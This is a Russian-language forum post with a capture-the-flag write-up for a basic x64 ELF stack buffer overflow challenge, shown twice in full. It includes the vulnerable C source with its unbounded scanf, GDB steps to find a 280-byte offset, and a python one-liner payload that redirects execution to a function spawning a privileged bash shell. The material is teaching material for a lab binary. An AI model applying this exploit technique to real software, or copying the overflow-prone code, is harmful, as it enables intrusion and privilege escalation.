fuzzz
13.09.2019, 16:19
ELF x64 - Stack buffer overflow - basic
Environment configuration :
PIEPosition Independent Executable
https://forum.antichat.xyz/attachments/29031418/img_c317b42f67.png
RelRORead Only relocations
https://forum.antichat.xyz/attachments/29031418/img_7b4b4c3fbb.png
NXNon-Executable Stack
https://forum.antichat.xyz/attachments/29031418/img_7b4b4c3fbb.png
Heap execNon-Executable Heap
https://forum.antichat.xyz/attachments/29031418/img_7b4b4c3fbb.png
ASLRAddress Space Layout Randomization
https://forum.antichat.xyz/attachments/29031418/img_7b4b4c3fbb.png
SFSource Fortification
https://forum.antichat.xyz/attachments/29031418/img_c317b42f67.png
SSPStack-Smashing Protection
https://forum.antichat.xyz/attachments/29031418/img_c317b42f67.png
SRCSource code access
https://forum.antichat.xyz/attachments/29031418/img_7b4b4c3fbb.png
Source code :
C:
#include
#include
#include
#include
#include
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
void
callMeMaybe
(
)
{
char
*
argv
[
]
=
{
"/bin/bash"
,
"-p"
,
NULL
}
;
execve
(
argv
[
0
]
,
argv
,
NULL
)
;
}
int
main
(
int
argc
,
char
*
*
argv
)
{
char
buffer
[
256
]
;
int
len
,
i
;
scanf
(
"%s"
,
buffer
)
;
len
=
strlen
(
buffer
)
;
printf
(
"Hello %s\n"
,
buffer
)
;
return
0
;
}
Решение
Это обычная задачка на переполнение буфера, но в отличие от других задачек, тут x64 битная архитектура. Бегло просмотрев исходный код программы становится ясно, что нам нужно вызвать функцию
callMeMaybe()
, которая в свою очередь даст нам оболочку и заветный флаг для прохождения уровня.
И так запускаем нашу программу под отладчиком GDB
gdb -q ./ch35
И дизассемблируем функцию callMeMaybe() для того чтобы узнать её адрес.
disas callMeMaybe
https://forum.antichat.xyz/attachments/29031418/img_ce3048cbae.png
Адрес 0x00000000004005e7 функции получен. Теперь вычислим смещение. Делать это будем по старинке воспользуемся генератором для создания паттернов.
https://forum.antichat.xyz/attachments/29031418/img_c01013aff4.png
Запускаем программу под отладчиком
run
и скармливаем строку
Код:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab 6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag 6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al 6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9 Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
https://forum.antichat.xyz/attachments/29031418/img_28d7913a11.png
Полученный адрес ничего не дал
https://forum.antichat.xyz/attachments/29031418/img_b308e0a3c0.png
Посмотрим что это за адрес в памяти
x/x 0x000000000040068e
https://forum.antichat.xyz/attachments/29031418/img_f3beb3e67a.png
Видно что этот адрес , есть в главной функции.
Посмотрим...
disas main
https://forum.antichat.xyz/attachments/29031418/img_751fc10c60.png
Это адрес возврата из главной функции. И это значение находится в регистре RIP (EIP).
Значит мы перезаписали всё! Но как узнать конкретное значение? Давайте посмотрим на регистры
i r
https://forum.antichat.xyz/attachments/29031418/img_3406864e37.png
Как и всегда нас интересуют 3 регистра
Код:
rbp 0x41326a41316a4130 0x41326a41316a4130
rsp 0x7fffaf1af7c8 0x7fffaf1af7c8
rip 0x40068e 0x40068e
RIP указывает на текущую инструкцию там у нас адрес возврата из главной функции
RSP на верхушку стека
RBP относительного него записываются локальные переменные и аргументы в стеке
Тут видно что RBP перезаписан посмотрим...
https://forum.antichat.xyz/attachments/29031418/img_cddf4d01dc.png
А вот и смещение - 272 байта.
Проверим так ли это...
https://forum.antichat.xyz/attachments/29031418/img_aa9249c20c.png
Нет это не так. 272 байта не перезаписывают RBP. Тогда добавим еще 8 байт ( так как это 64 ) и проверим снова. Как видно на скриншоте 280 это смещение которое мы искали.
Теперь составим сам эксплойт
python -c 'print "A"*280 + "\xe7\x05\x40\x00\x00\x00\x00\x00" ' > /tmp/exploit
(cat /tmp/exploit; cat) | ./ch35
Запускаем и получаем заветный флаг.
https://forum.antichat.xyz/attachments/29031418/img_f474810905.png
Вот так вот можно было получить флаг.
Environment configuration :
PIEPosition Independent Executable
https://forum.antichat.xyz/attachments/29031418/img_c317b42f67.png
RelRORead Only relocations
https://forum.antichat.xyz/attachments/29031418/img_7b4b4c3fbb.png
NXNon-Executable Stack
https://forum.antichat.xyz/attachments/29031418/img_7b4b4c3fbb.png
Heap execNon-Executable Heap
https://forum.antichat.xyz/attachments/29031418/img_7b4b4c3fbb.png
ASLRAddress Space Layout Randomization
https://forum.antichat.xyz/attachments/29031418/img_7b4b4c3fbb.png
SFSource Fortification
https://forum.antichat.xyz/attachments/29031418/img_c317b42f67.png
SSPStack-Smashing Protection
https://forum.antichat.xyz/attachments/29031418/img_c317b42f67.png
SRCSource code access
https://forum.antichat.xyz/attachments/29031418/img_7b4b4c3fbb.png
Source code :
C:
#include
#include
#include
#include
#include
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
void
callMeMaybe
(
)
{
char
*
argv
[
]
=
{
"/bin/bash"
,
"-p"
,
NULL
}
;
execve
(
argv
[
0
]
,
argv
,
NULL
)
;
}
int
main
(
int
argc
,
char
*
*
argv
)
{
char
buffer
[
256
]
;
int
len
,
i
;
scanf
(
"%s"
,
buffer
)
;
len
=
strlen
(
buffer
)
;
printf
(
"Hello %s\n"
,
buffer
)
;
return
0
;
}
Решение
Это обычная задачка на переполнение буфера, но в отличие от других задачек, тут x64 битная архитектура. Бегло просмотрев исходный код программы становится ясно, что нам нужно вызвать функцию
callMeMaybe()
, которая в свою очередь даст нам оболочку и заветный флаг для прохождения уровня.
И так запускаем нашу программу под отладчиком GDB
gdb -q ./ch35
И дизассемблируем функцию callMeMaybe() для того чтобы узнать её адрес.
disas callMeMaybe
https://forum.antichat.xyz/attachments/29031418/img_ce3048cbae.png
Адрес 0x00000000004005e7 функции получен. Теперь вычислим смещение. Делать это будем по старинке воспользуемся генератором для создания паттернов.
https://forum.antichat.xyz/attachments/29031418/img_c01013aff4.png
Запускаем программу под отладчиком
run
и скармливаем строку
Код:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab 6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag 6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al 6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9 Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
https://forum.antichat.xyz/attachments/29031418/img_28d7913a11.png
Полученный адрес ничего не дал
https://forum.antichat.xyz/attachments/29031418/img_b308e0a3c0.png
Посмотрим что это за адрес в памяти
x/x 0x000000000040068e
https://forum.antichat.xyz/attachments/29031418/img_f3beb3e67a.png
Видно что этот адрес , есть в главной функции.
Посмотрим...
disas main
https://forum.antichat.xyz/attachments/29031418/img_751fc10c60.png
Это адрес возврата из главной функции. И это значение находится в регистре RIP (EIP).
Значит мы перезаписали всё! Но как узнать конкретное значение? Давайте посмотрим на регистры
i r
https://forum.antichat.xyz/attachments/29031418/img_3406864e37.png
Как и всегда нас интересуют 3 регистра
Код:
rbp 0x41326a41316a4130 0x41326a41316a4130
rsp 0x7fffaf1af7c8 0x7fffaf1af7c8
rip 0x40068e 0x40068e
RIP указывает на текущую инструкцию там у нас адрес возврата из главной функции
RSP на верхушку стека
RBP относительного него записываются локальные переменные и аргументы в стеке
Тут видно что RBP перезаписан посмотрим...
https://forum.antichat.xyz/attachments/29031418/img_cddf4d01dc.png
А вот и смещение - 272 байта.
Проверим так ли это...
https://forum.antichat.xyz/attachments/29031418/img_aa9249c20c.png
Нет это не так. 272 байта не перезаписывают RBP. Тогда добавим еще 8 байт ( так как это 64 ) и проверим снова. Как видно на скриншоте 280 это смещение которое мы искали.
Теперь составим сам эксплойт
python -c 'print "A"*280 + "\xe7\x05\x40\x00\x00\x00\x00\x00" ' > /tmp/exploit
(cat /tmp/exploit; cat) | ./ch35
Запускаем и получаем заветный флаг.
https://forum.antichat.xyz/attachments/29031418/img_f474810905.png
Вот так вот можно было получить флаг.